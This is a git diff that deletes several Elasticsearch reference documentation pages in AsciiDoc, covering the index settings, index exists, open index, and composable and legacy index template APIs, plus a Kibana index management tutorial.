diff --git a/docs/reference/indices/get-settings.asciidoc b/docs/reference/indices/get-settings.asciidoc
deleted file mode 100644
index f655a7ff18a..00000000000
--- a/docs/reference/indices/get-settings.asciidoc
+++ /dev/null
@@ -1,92 +0,0 @@
-[[indices-get-settings]]
-=== Get index settings API
-++++
-<titleabbrev>Get index settings</titleabbrev>
-++++
-
-Returns setting information for one or more indices. For data streams, the API
-returns setting information for the stream's backing indices.
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_settings
---------------------------------------------------
-// TEST[setup:my_index]
-
-
-[[get-index-settings-api-request]]
-==== {api-request-title}
-
-`GET /<target>/_settings`
-
-`GET /<target>/_settings/<setting>`
-
-
-[[get-index-settings-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-`<setting>`::
-(Optional, string) Comma-separated list or wildcard expression of setting names
-used to limit the request.
-
-
-[[get-index-settings-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `all`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=flat-settings]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-defaults]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-
-[[get-index-settings-api-example]]
-==== {api-examples-title}
-
-===== Multiple data streams and indices
-
-The get settings API can be used to get settings for more than one data stream or index with a
-single call. To get settings for all indices in a cluster, you can use `_all` or `*` for `<target>`.
-Wildcard expressions are also supported. The following are some examples:
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001,my-index-000002/_settings
-
-GET /_all/_settings
-
-GET /log_2099_*/_settings
---------------------------------------------------
-// TEST[setup:my_index]
-// TEST[s/^/PUT my-index-000002\nPUT log_2099_01_01\n/]
-
-===== Filtering settings by name
-
-The settings that are returned can be filtered with wildcard matching
-as follows:
-
-[source,console]
---------------------------------------------------
-GET /log_2099_-*/_settings/index.number_*
---------------------------------------------------
-// TEST[continued]
diff --git a/docs/reference/indices/index-mgmt.asciidoc b/docs/reference/indices/index-mgmt.asciidoc
deleted file mode 100644
index 0dcfbe04556..00000000000
--- a/docs/reference/indices/index-mgmt.asciidoc
+++ /dev/null
@@ -1,236 +0,0 @@
-[role="xpack"]
-[[index-mgmt]]
-== Index management
-
-{kib}'s *Index Management* features are an easy, convenient way to manage your
-cluster's indices, <<data-streams,data streams>>, and <<index-templates,index
-templates>>. Practicing good index management ensures your data is stored
-correctly and in the most cost-effective way possible.
-
-[discrete]
-[[index-mgmt-wyl]]
-=== What you'll learn
-
-You'll learn how to:
-
-* View and edit index settings.
-* View mappings and statistics for an index.
-* Perform index-level operations, such as refreshes and freezes.
-* View and manage data streams.
-* Create index templates to automatically configure new data streams and indices.
-
-[discrete]
-[[index-mgm-req-permissions]]
-=== Required permissions
-
-If you use {es} {security-features}, the following
-<<security-privileges,security privileges>> are required:
-
-* The `monitor` cluster privilege to access {kib}'s *Index Management* features.
-* The `view_index_metadata` and `manage` index privileges to view a data stream
-or index's data.
-* The `manage_index_templates` cluster privilege to manage index templates.
-
-To add these privileges in {kib}, go to *Stack Management > Security > Roles*.
-
-[discrete]
-[[view-edit-indices]]
-=== View and edit indices
-
-Open {kib}'s main menu and click *Stack Management > Index Management*.
-
-[role="screenshot"]
-image::images/index-mgmt/management_index_labels.png[Index Management UI]
-
-The *Index Management* page contains an overview of your indices.
-Badges indicate if an index is <<frozen-indices,frozen>>, a
-<<ccr-put-follow,follower index>>, or a
-<<rollup-get-rollup-index-caps,rollup index>>.
-
-Clicking a badge narrows the list to only indices of that type.
-You can also filter indices using the search bar.
-
-You can drill down into each index to investigate the index
-<<index-modules-settings,settings>>, <<mapping,mapping>>, and statistics.
-From this view, you can also edit the index settings.
-
-[role="screenshot"]
-image::images/index-mgmt/management_index_details.png[Index Management UI]
-
-[float]
-=== Perform index-level operations
-
-Use the *Manage* menu to perform index-level operations. This menu
-is available in the index details view, or when you select the checkbox of one or more
-indices on the overview page. The menu includes the following actions:
-
-* <<indices-close,*Close index*>>
-* <<indices-forcemerge,*Force merge index*>>
-* <<indices-refresh,*Refresh index*>>
-* <<indices-flush,*Flush index*>>
-* <<freeze-index-api,*Freeze index*>>
-* <<indices-delete-index,*Delete index*>>
-* *Add* <<set-up-lifecycle-policy,*lifecycle policy*>>
-
-[float]
-[[manage-data-streams]]
-=== Manage data streams
-
-The *Data Streams* view lists your data streams and lets you examine or delete
-them.
-
-To view more information about a data stream, such as its generation or its
-current index lifecycle policy, click the stream's name.
-
-[role="screenshot"]
-image::images/index-mgmt/management_index_data_stream_stats.png[Data stream details]
-
-To view information about the stream's backing indices, click the number in the
-*Indices* column.
-
-[role="screenshot"]
-image::images/index-mgmt/management_index_data_stream_backing_index.png[Backing index]
-
-[float]
-[[manage-index-templates]]
-=== Manage index templates
-
-The *Index Templates* view lists your templates and lets you examine,
-edit, clone, and delete them. Changes made to an index template do not
-affect existing indices.
-
-[role="screenshot"]
-image::images/index-mgmt/management-index-templates.png[Index templates]
-
-If you don't have any templates, you can create one using the *Create template*
-wizard.
-
-[float]
-==== Try it: Create an index template
-
-In this tutorial, you’ll create an index template and use it to configure two
-new indices.
-
-*Step 1. Add a name and index pattern*
-
-. In the *Index Templates* view, open the *Create template* wizard.
-+
-[role="screenshot"]
-image::images/index-mgmt/management_index_create_wizard.png[Create wizard]
-
-. In the *Name* field, enter `my-index-template`.
-
-. Set *Index pattern* to `my-index-*` so the template matches any index
-with that index pattern.
-
-. Leave *Data Stream*, *Priority*, *Version*, and *_meta field* blank or as-is.
-
-*Step 2. Add settings, mappings, and index aliases*
-
-. Add <<indices-component-template,component templates>> to your index template.
-+
-Component templates are pre-configured sets of mappings, index settings, and
-index aliases you can reuse across multiple index templates. Badges indicate
-whether a component template contains mappings (*M*), index settings (*S*),
-index aliases (*A*), or a combination of the three.
-+
-Component templates are optional. For this tutorial, do not add any component
-templates.
-+
-[role="screenshot"]
-image::images/index-mgmt/management_index_component_template.png[Component templates page]
-
-. Define index settings. These are optional. For this tutorial, leave this
-section blank.
-
-. Define a mapping that contains an <<object,object>> field named `geo` with a
-child <<geo-point,geo-point>> field named `coordinates`:
-+
-[role="screenshot"]
-image::images/index-mgmt/management-index-templates-mappings.png[Mapped fields page]
-+
-Alternatively, you can click the *Load JSON* link and define the mapping as JSON:
-+
-[source,js]
-----
-{
-  "properties": {
-    "geo": {
-      "properties": {
-        "coordinates": {
-          "type": "geo_point"
-        }
-      }
-    }
-  }
-}
-----
-// NOTCONSOLE
-+
-You can create additional mapping configurations in the *Dynamic templates* and
-*Advanced options* tabs. For this tutorial, do not create any additional
-mappings.
-
-. Define an index alias named `my-index`:
-+
-[source,js]
-----
-{
-  "my-index": {}
-}
-----
-// NOTCONSOLE
-
-. On the review page, check the summary. If everything looks right, click
-*Create template*.
-
-*Step 3. Create new indices*
-
-You’re now ready to create new indices using your index template.
-
-. Index the following documents to create two indices:
-`my-index-000001` and `my-index-000002`.
-+
-[source,console]
-----
-POST /my-index-000001/_doc
-{
-  "@timestamp": "2019-05-18T15:57:27.541Z",
-  "ip": "225.44.217.191",
-  "extension": "jpg",
-  "response": "200",
-  "geo": {
-    "coordinates": {
-      "lat": 38.53146222,
-      "lon": -121.7864906
-    }
-  },
-  "url": "https://media-for-the-masses.theacademyofperformingartsandscience.org/uploads/charles-fullerton.jpg"
-}
-
-POST /my-index-000002/_doc
-{
-  "@timestamp": "2019-05-20T03:44:20.844Z",
-  "ip": "198.247.165.49",
-  "extension": "php",
-  "response": "200",
-  "geo": {
-    "coordinates": {
-      "lat": 37.13189556,
-      "lon": -76.4929875
-    }
-  },
-  "memory": 241720,
-  "url": "https://theacademyofperformingartsandscience.org/people/type:astronauts/name:laurel-b-clark/profile"
-}
-----
-
-. Use the <<indices-get-index,get index API>> to view the configurations for the
-new indices. The indices were configured using the index template you created
-earlier.
-+
-[source,console]
---------------------------------------------------
-GET /my-index-000001,my-index-000002
---------------------------------------------------
-// TEST[continued]
diff --git a/docs/reference/indices/index-template-exists-v1.asciidoc b/docs/reference/indices/index-template-exists-v1.asciidoc
deleted file mode 100644
index c71d9cddda4..00000000000
--- a/docs/reference/indices/index-template-exists-v1.asciidoc
+++ /dev/null
@@ -1,60 +0,0 @@
-[[indices-template-exists-v1]]
-=== Index template exists API
-++++
-<titleabbrev>Index template exists (legacy)</titleabbrev>
-++++
-
-IMPORTANT: This documentation is about <<indices-templates-v1,legacy index
-templates>>, which are deprecated and will be replaced by the composable
-templates introduced in {es} 7.8. For information about composable templates,
-see <<index-templates>>.
-
-Checks if an <<indices-templates-v1,legacy index template>> exists.
-
-
-
-[source,console]
------------------------------------------------
-HEAD /_template/template_1
------------------------------------------------
-
-
-[[template-exists-api-request]]
-==== {api-request-title}
-
-`HEAD /_template/<index-template>`
-
-
-[[template-exists-api-desc]]
-==== {api-description-title}
-
-Use the index template exists API
-to determine whether one or more index templates exist.
-
-Index templates define <<index-modules-settings,settings>>, <<mapping,mappings>>, 
-and <<indices-aliases,aliases>> that can be applied automatically to new indices. 
-
-[[template-exists-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-template]
-
-
-[[template-exists-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=flat-settings]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-
-[[template-exists-api-response-codes]]
-==== {api-response-codes-title}
-
-`200`::
-Indicates all specified index templates exist.
-
-`404`::
-Indicates one or more specified index templates **do not** exist.
diff --git a/docs/reference/indices/index-templates.asciidoc b/docs/reference/indices/index-templates.asciidoc
deleted file mode 100644
index 1fe8597360b..00000000000
--- a/docs/reference/indices/index-templates.asciidoc
+++ /dev/null
@@ -1,118 +0,0 @@
-[[index-templates]]
-= Index templates
-
-NOTE: This topic describes the composable index templates introduced in {es} 7.8. 
-For information about how index templates worked previously, 
-see the <<indices-templates-v1,legacy template documentation>>.
-
-[[getting]]
-An index template is a way to tell {es} how to configure an index when it is created.
-For data streams, the index template configures the stream's backing indices as they
-are created. Templates are configured prior to index creation and then when an
-index is created either manually or through indexing a document, the template
-settings are used as a basis for creating the index.
-
-There are two types of templates, index templates and <<indices-component-template,component
-templates>>. Component templates are reusable building blocks that configure mappings, settings, and
-aliases. You use component templates to construct index templates, they aren't directly applied to a
-set of indices. Index templates can contain a collection of component templates, as well as directly
-specify settings, mappings, and aliases.
-
-If a new data stream or index matches more than one index template, the index template with the highest priority is used.
-
-[IMPORTANT]
-====
-{es} has built-in index templates for the `metrics-*-*`, `logs-*-*`, and `synthetics-*-*` index
-patterns, each with a priority of `100`.
-{ingest-guide}/fleet-overview.html[{agent}] uses these templates to
-create data streams. If you use {agent}, assign your index templates a priority
-lower than `100` to avoid an overriding the built-in templates.
-
-Otherwise, to avoid accidentally applying the built-in templates, use a
-non-overlapping index pattern or assign templates with an overlapping pattern a
-`priority` higher than `100`.
-
-For example, if you don't use {agent} and want to create a template for the
-`logs-*` index pattern, assign your template a priority of `200`. This ensures
-your template is applied instead of the built-in template for `logs-*-*`.
-====
-
-When a composable template matches a given index
-it always takes precedence over a legacy template. If no composable template matches, a legacy
-template may still match and be applied.
-
-If an index is created with explicit settings and also matches an index template,
-the settings from the create index request take precedence over settings specified in the index template and its component templates.
-
-[source,console]
---------------------------------------------------
-PUT _component_template/component_template1
-{
-  "template": {
-    "mappings": {
-      "properties": {
-        "@timestamp": {
-          "type": "date"
-        }
-      }
-    }
-  }
-}
-
-PUT _component_template/other_component_template
-{
-  "template": {
-    "mappings": {
-      "properties": {
-        "ip_address": {
-          "type": "ip"
-        }
-      }
-    }
-  }
-}
-
-PUT _index_template/template_1
-{
-  "index_patterns": ["te*", "bar*"],
-  "template": {
-    "settings": {
-      "number_of_shards": 1
-    },
-    "mappings": {
-      "properties": {
-        "host_name": {
-          "type": "keyword"
-        },
-        "created_at": {
-          "type": "date",
-          "format": "EEE MMM dd HH:mm:ss Z yyyy"
-        }
-      }
-    },
-    "aliases": {
-      "mydata": { }
-    }
-  },
-  "priority": 200,
-  "composed_of": ["component_template1", "other_component_template"],
-  "version": 3,
-  "_meta": {
-    "description": "my custom"
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-////
-
-[source,console]
---------------------------------------------------
-DELETE _index_template/*
-DELETE _component_template/*
---------------------------------------------------
-// TEARDOWN
-
-////
-
-include::simulate-multi-component-templates.asciidoc[]
diff --git a/docs/reference/indices/indices-exists.asciidoc b/docs/reference/indices/indices-exists.asciidoc
deleted file mode 100644
index ede01258468..00000000000
--- a/docs/reference/indices/indices-exists.asciidoc
+++ /dev/null
@@ -1,58 +0,0 @@
-[[indices-exists]]
-=== Index exists API
-++++
-<titleabbrev>Index exists</titleabbrev>
-++++
-
-Checks if an index exists.
-
-[source,console]
---------------------------------------------------
-HEAD /my-index-000001
---------------------------------------------------
-// TEST[setup:my_index]
-
-
-[[indices-exists-api-request]]
-==== {api-request-title}
-
-`HEAD /<index>`
-
-
-[[indices-exists-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index]
-+
-IMPORTANT: This parameter does not distinguish between an index name and <<indices-aliases,alias>>,
-i.e. status code `200` is also returned if an alias exists with that name.
-
-
-[[indices-exists-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=flat-settings]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-defaults]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-
-[[indices-exists-api-response-codes]]
-==== {api-response-codes-title}
-
-`200`::
-Indicates all specified indices or index aliases exist.
-
- `404`::
-Indicates one or more specified indices or index aliases **do not** exist.
diff --git a/docs/reference/indices/open-close.asciidoc b/docs/reference/indices/open-close.asciidoc
deleted file mode 100644
index 713d007ee9f..00000000000
--- a/docs/reference/indices/open-close.asciidoc
+++ /dev/null
@@ -1,135 +0,0 @@
-[[indices-open-close]]
-=== Open index API
-++++
-<titleabbrev>Open index</titleabbrev>
-++++
-
-Opens a closed index. For data streams, the API
-opens any closed backing indices.
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_open
---------------------------------------------------
-// TEST[setup:my_index]
-// TEST[s/^/POST \/my-index-000001\/_close\n/]
-
-
-[[open-index-api-request]]
-==== {api-request-title}
-
-`POST /<target>/_open`
-
-
-[[open-index-api-desc]]
-==== {api-description-title}
-
-You can use the open index API to re-open closed indices. If the request targets
-a data stream, the request re-opens any of the stream's closed backing indices.
-
-// tag::closed-index[]
-
-A closed index is blocked for read/write operations and does not allow
-all operations that opened indices allow. It is not possible to index
-documents or to search for documents in a closed index. This allows
-closed indices to not have to maintain internal data structures for
-indexing or searching documents, resulting in a smaller overhead on
-the cluster.
-
-When opening or closing an index, the master is responsible for
-restarting the index shards to reflect the new state of the index.
-The shards will then go through the normal recovery process. The
-data of opened/closed indices is automatically replicated by the
-cluster to ensure that enough shard copies are safely kept around
-at all times.
-
-You can open and close multiple indices. An error is thrown
-if the request explicitly refers to a missing index. This behaviour can be
-disabled using the `ignore_unavailable=true` parameter.
-
-All indices can be opened or closed at once using `_all` as the index name
-or specifying patterns that identify them all (e.g. `*`).
-
-Identifying indices via wildcards or `_all` can be disabled by setting the
-`action.destructive_requires_name` flag in the config file to `true`.
-This setting can also be changed via the cluster update settings api.
-
-Closed indices consume a significant amount of disk-space which can cause
-problems in managed environments. Closing indices can be disabled via the cluster settings
-API by setting `cluster.indices.close.enable` to `false`. The default is `true`.
-
-The current write index on a data stream cannot be closed. In order to close
-the current write index, the data stream must first be
-<<rollover-data-stream-ex,rolled over>> so that a new write index is created
-and then the previous write index can be closed.
-
-// end::closed-index[]
-
-[[open-index-api-wait-for-active-shards]]
-===== Wait for active shards
-
-// tag::wait-for-active-shards[]
-
-Because opening or closing an index allocates its shards, the
-<<create-index-wait-for-active-shards,`wait_for_active_shards`>> setting on
-index creation applies to the `_open` and `_close` index actions as well.
-
-// end::wait-for-active-shards[]
-
-
-
-
-[[open-index-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list or wildcard (`*`) expression of data streams, indices, and
-index aliases used to limit the request.
-+
-To target all data streams and indices, use `_all` or `*`.
-+
-To disallow use of `_all` or wildcard expressions,
-change the `action.destructive_requires_name` cluster setting to `true`.
-You can update this setting in the `elasticsearch.yml` file
-or using the <<cluster-update-settings,cluster update settings>> API.
-
-
-[[open-index-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `closed`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-
-[[open-index-api-example]]
-==== {api-examples-title}
-
-The following request re-opens a closed index named `my-index-000001`.
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_open
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\nPOST my-index-000001\/_close\n/]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged" : true,
-  "shards_acknowledged" : true
-}
---------------------------------------------------
diff --git a/docs/reference/indices/put-component-template.asciidoc b/docs/reference/indices/put-component-template.asciidoc
deleted file mode 100644
index 2b935b91143..00000000000
--- a/docs/reference/indices/put-component-template.asciidoc
+++ /dev/null
@@ -1,212 +0,0 @@
-[[indices-component-template]]
-=== Put component template API
-++++
-<titleabbrev>Put component template</titleabbrev>
-++++
-
-Creates or updates a component template. 
-Component templates are building blocks for constructing <<index-templates,index templates>>  
-that specify index <<mapping,mappings>>, <<index-modules-settings,settings>>, 
-and <<indices-aliases,aliases>>. 
-
-[source,console]
---------------------------------------------------
-PUT _component_template/template_1
-{
-  "template": {
-    "settings": {
-      "number_of_shards": 1
-    },
-    "mappings": {
-      "_source": {
-        "enabled": false
-      },
-      "properties": {
-        "host_name": {
-          "type": "keyword"
-        },
-        "created_at": {
-          "type": "date",
-          "format": "EEE MMM dd HH:mm:ss Z yyyy"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE _component_template/template_*
---------------------------------------------------
-// TEARDOWN
-
-//////////////////////////
-
-[[put-component-template-api-request]]
-==== {api-request-title}
-
-`PUT /_component_template/<component-template>`
-
-
-[[put-component-template-api-desc]]
-==== {api-description-title}
-
-An index template can be composed of multiple component templates. 
-To use a component template, specify it in an index template's `composed_of` list.
-Component templates are only applied to new data streams and indices 
-as part of a matching index template. 
-
-Settings and mappings specified directly in the index template or the <<indices-create-index, create index>>
-request override any settings or mappings specified in a component template.
-
-Component templates are only used during index creation. For data streams, this
-includes data stream creation and the creation of a stream's backing indices.
-Changes to component templates do not
-affect existing indices, including a stream's backing indices.
-
-===== Comments in component templates
-You can use C-style /* */ block comments in component templates.
-You can include comments anywhere in the request body,
-except before the opening curly bracket.
-
-[[put-component-template-api-path-params]]
-==== {api-path-parms-title}
-
-`<component-template>`::
-(Required, string)
-Name of the component template to create.
-
-
-[[put-component-template-api-query-params]]
-==== {api-query-parms-title}
-
-`create`::
-(Optional, Boolean)
-If `true`, this request cannot replace or update existing component templates.
-Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-[[put-component-template-api-request-body]]
-==== {api-request-body-title}
-
-`template`::
-(Required, object)
-This is the template to be applied, may optionally include a `mappings`,
-`settings`, or `aliases` configuration.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=aliases]
-+
-NOTE: You cannot add data streams to an index alias.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=mappings]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=settings]
-
-`version`::
-(Optional, integer)
-Version number used to manage component templates externally.
-This number is not automatically generated or incremented by {es}.
-
-`_meta`::
-(Optional, object)
-Optional user metadata about the component template. May have any contents.
-This map is not automatically generated by {es}.
-
-[[put-component-template-api-example]]
-==== {api-examples-title}
-
-===== Component template with index aliases
-
-You can include <<indices-aliases,index aliases>> in a component template.
-
-[source,console]
---------------------------------------------------
-PUT _component_template/template_1
-{
-  "template": {
-    "settings" : {
-        "number_of_shards" : 1
-    },
-    "aliases" : {
-        "alias1" : {},
-        "alias2" : {
-            "filter" : {
-                "term" : {"user.id" : "kimchy" }
-            },
-            "routing" : "shard-1"
-        },
-        "{index}-alias" : {} <1>
-    }
-  }
-}
---------------------------------------------------
-<1> the `{index}` placeholder in the alias name will be replaced with the
-actual index name that the template gets applied to, during index creation.
-
-[[applying-component-templates]]
-===== Applying component templates
-
-You cannot directly apply a component template to a data stream or index.
-To be applied, a component template must be included in an index template's `composed_of` list. See <<index-templates>>.
-
-[[component-templates-version]]
-===== Component template versioning
-
-You can use the `version` parameter to add a version number to a component template. 
-External systems can use these version numbers to simplify template management.
-
-The `version` parameter is optional and not automatically generated or used by {es}.
-
-To unset a `version`, replace the template without specifying one.
-
-[source,console]
---------------------------------------------------
-PUT /_component_template/template_1
-{
-  "template": {
-    "settings" : {
-        "number_of_shards" : 1
-    }
-  },
-  "version": 123
-}
---------------------------------------------------
-
-To check the `version`, you can use the <<getting-component-templates,get component template API>>.
-
-[[component-templates-metadata]]
-===== Component template metadata
-
-You can use the `_meta` parameter to add arbitrary metadata to a component template. 
-This user-defined object is stored in the cluster state,
-so keeping it short is preferrable.
-
-The `_meta` parameter is optional and not automatically generated or used by {es}.
-
-To unset `_meta`, replace the template without specifying one.
-
-[source,console]
---------------------------------------------------
-PUT /_component_template/template_1
-{
-  "template": {
-    "settings" : {
-        "number_of_shards" : 1
-    }
-  },
-  "_meta": {
-    "description": "set number of shards to one",
-    "serialization": {
-      "class": "MyComponentTemplate",
-      "id": 10
-    }
-  }
-}
---------------------------------------------------
-
-To check the `_meta`, you can use the <<getting-component-templates,get component template>> API.
diff --git a/docs/reference/indices/put-index-template-v1.asciidoc b/docs/reference/indices/put-index-template-v1.asciidoc
deleted file mode 100644
index 578694ef8c2..00000000000
--- a/docs/reference/indices/put-index-template-v1.asciidoc
+++ /dev/null
@@ -1,259 +0,0 @@
-[[indices-templates-v1]]
-=== Put index template API
-++++
-<titleabbrev>Put index template (legacy)</titleabbrev>
-++++
-
-IMPORTANT: This documentation is about legacy index templates, 
-which are deprecated and will be replaced by the composable templates introduced in {es} 7.8. 
-For information about composable templates, see <<index-templates>>.
-
-Creates or updates an index template.
-
-[source,console]
---------------------------------------------------
-PUT _template/template_1
-{
-  "index_patterns": ["te*", "bar*"],
-  "settings": {
-    "number_of_shards": 1
-  },
-  "mappings": {
-    "_source": {
-      "enabled": false
-    },
-    "properties": {
-      "host_name": {
-        "type": "keyword"
-      },
-      "created_at": {
-        "type": "date",
-        "format": "EEE MMM dd HH:mm:ss Z yyyy"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE _template/template_*
---------------------------------------------------
-// TEARDOWN
-
-//////////////////////////
-
-[[put-index-template-v1-api-request]]
-==== {api-request-title}
-
-`PUT /_template/<index-template>`
-
-
-[[put-index-template-v1-api-desc]]
-==== {api-description-title}
-
-Use the PUT index template API
-to create or update an index template.
-
-Index templates define <<index-modules-settings,settings>> and <<mapping,mappings>>
-that you can automatically apply when creating new indices.
-{es} applies templates to new indices
-based on an index pattern that matches the index name.
-
-NOTE: Composable templates always take precedence over legacy templates. 
-If no composable template matches a new index, 
-matching legacy templates are applied according to their order.
-
-Index templates are only applied during index creation.
-Changes to index templates do not affect existing indices.
-Settings and mappings specified in <<indices-create-index, create index>> API requests
-override any settings or mappings specified in an index template.
-
-===== Comments in index templates
-You can use C-style /* */ block comments in index templates.
-You can include comments anywhere in the request body,
-except before the opening curly bracket.
-
-[[getting-v1]]
-===== Getting templates
-
-See <<indices-get-template-v1>>.
-
-
-[[put-index-template-v1-api-path-params]]
-==== {api-path-parms-title}
-
-`<index-template>`::
-(Required, string)
-Name of the index template to create.
-
-
-[[put-index-template-v1-api-query-params]]
-==== {api-query-parms-title}
-
-`create`::
-(Optional, Boolean)
-If `true`, this request cannot replace or update existing index templates.
-Defaults to `false`.
-
-`order`::
-(Optional,integer)
-Order in which {es} applies this template
-if index matches multiple templates.
-+
-Templates with lower `order` values are merged first.
-Templates with higher `order` values are merged later,
-overriding templates with lower values.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-
-[[put-index-template-v1-api-request-body]]
-==== {api-request-body-title}
-
-`index_patterns`::
-(Required, array of strings)
-Array of wildcard expressions
-used to match the names of indices during creation.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=aliases]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=mappings]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=settings]
-
-`version`::
-(Optional, integer)
-Version number used to manage index templates externally.
-This number is not automatically generated by {es}.
-
-
-[[put-index-template-v1-api-example]]
-==== {api-examples-title}
-
-===== Index template with index aliases
-
-You can include <<indices-aliases,index aliases>> in an index template.
-
-[source,console]
---------------------------------------------------
-PUT _template/template_1
-{
-  "index_patterns" : ["te*"],
-  "settings" : {
-    "number_of_shards" : 1
-  },
-  "aliases" : {
-    "alias1" : {},
-    "alias2" : {
-      "filter" : {
-        "term" : {"user.id" : "kimchy" }
-      },
-      "routing" : "shard-1"
-    },
-    "{index}-alias" : {} <1>
-  }
-}
---------------------------------------------------
-
-<1> the `{index}` placeholder in the alias name will be replaced with the
-actual index name that the template gets applied to, during index creation.
-
-
-[[multiple-templates-v1]]
-===== Indices matching multiple templates
-
-Multiple index templates can potentially match an index, in this case,
-both the settings and mappings are merged into the final configuration
-of the index. The order of the merging can be controlled using the
-`order` parameter, with lower order being applied first, and higher
-orders overriding them. For example:
-
-[source,console]
---------------------------------------------------
-PUT /_template/template_1
-{
-  "index_patterns" : ["te*"],
-  "order" : 0,
-  "settings" : {
-    "number_of_shards" : 1
-  },
-  "mappings" : {
-    "_source" : { "enabled" : false }
-  }
-}
-
-PUT /_template/template_2
-{
-  "index_patterns" : ["tes*"],
-  "order" : 1,
-  "settings" : {
-    "number_of_shards" : 1
-  },
-  "mappings" : {
-    "_source" : { "enabled" : true }
-  }
-}
---------------------------------------------------
-
-The above will disable storing the `_source`, but
-for indices that start with `tes*`, `_source` will still be enabled.
-Note, for mappings, the merging is "deep", meaning that specific
-object/property based mappings can easily be added/overridden on higher
-order templates, with lower order templates providing the basis.
-
-NOTE: Multiple matching templates with the same order value will
-result in a non-deterministic merging order.
-
-
-[[versioning-templates-v1]]
-===== Template versioning
-
-You can use the `version` parameter
-to add an optional version number to an index template.
-External systems can use these version numbers
-to simplify template management.
-
-The `version`	parameter is completely optional
-and not automatically generated by {es}.
-
-To unset a `version`,
-replace the template without specifying	one.
-
-[source,console]
---------------------------------------------------
-PUT /_template/template_1
-{
-  "index_patterns" : ["my-index-*"],
-  "order" : 0,
-  "settings" : {
-    "number_of_shards" : 1
-  },
-  "version": 123
-}
---------------------------------------------------
-
-To check the `version`,
-you can	use the <<indices-get-template, get index template>> API
-with the <<common-options-response-filtering, `filter_path`>> query parameter
-to return only the version number:
-
-[source,console]
---------------------------------------------------
-GET /_template/template_1?filter_path=*.version
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "template_1" : {
-    "version" : 123
-  }
-}
---------------------------------------------------
\ No newline at end of file
diff --git a/docs/reference/indices/put-index-template.asciidoc b/docs/reference/indices/put-index-template.asciidoc
deleted file mode 100644
index 047c98ff708..00000000000
--- a/docs/reference/indices/put-index-template.asciidoc
+++ /dev/null
@@ -1,358 +0,0 @@
-[[indices-put-template]]
-=== Put index template API
-++++
-<titleabbrev>Put index template</titleabbrev>
-++++
-
-Creates or updates an index template.
-Index templates define <<index-modules-settings,settings>>, <<mapping,mappings>>, 
-and <<indices-aliases,aliases>> that can be applied automatically to new indices. 
-
-[source,console]
---------------------------------------------------
-PUT /_index_template/template_1
-{
-  "index_patterns" : ["te*"],
-  "priority" : 1,
-  "template": {
-    "settings" : {
-      "number_of_shards" : 2
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE _index_template/template_*
---------------------------------------------------
-// TEARDOWN
-
-//////////////////////////
-
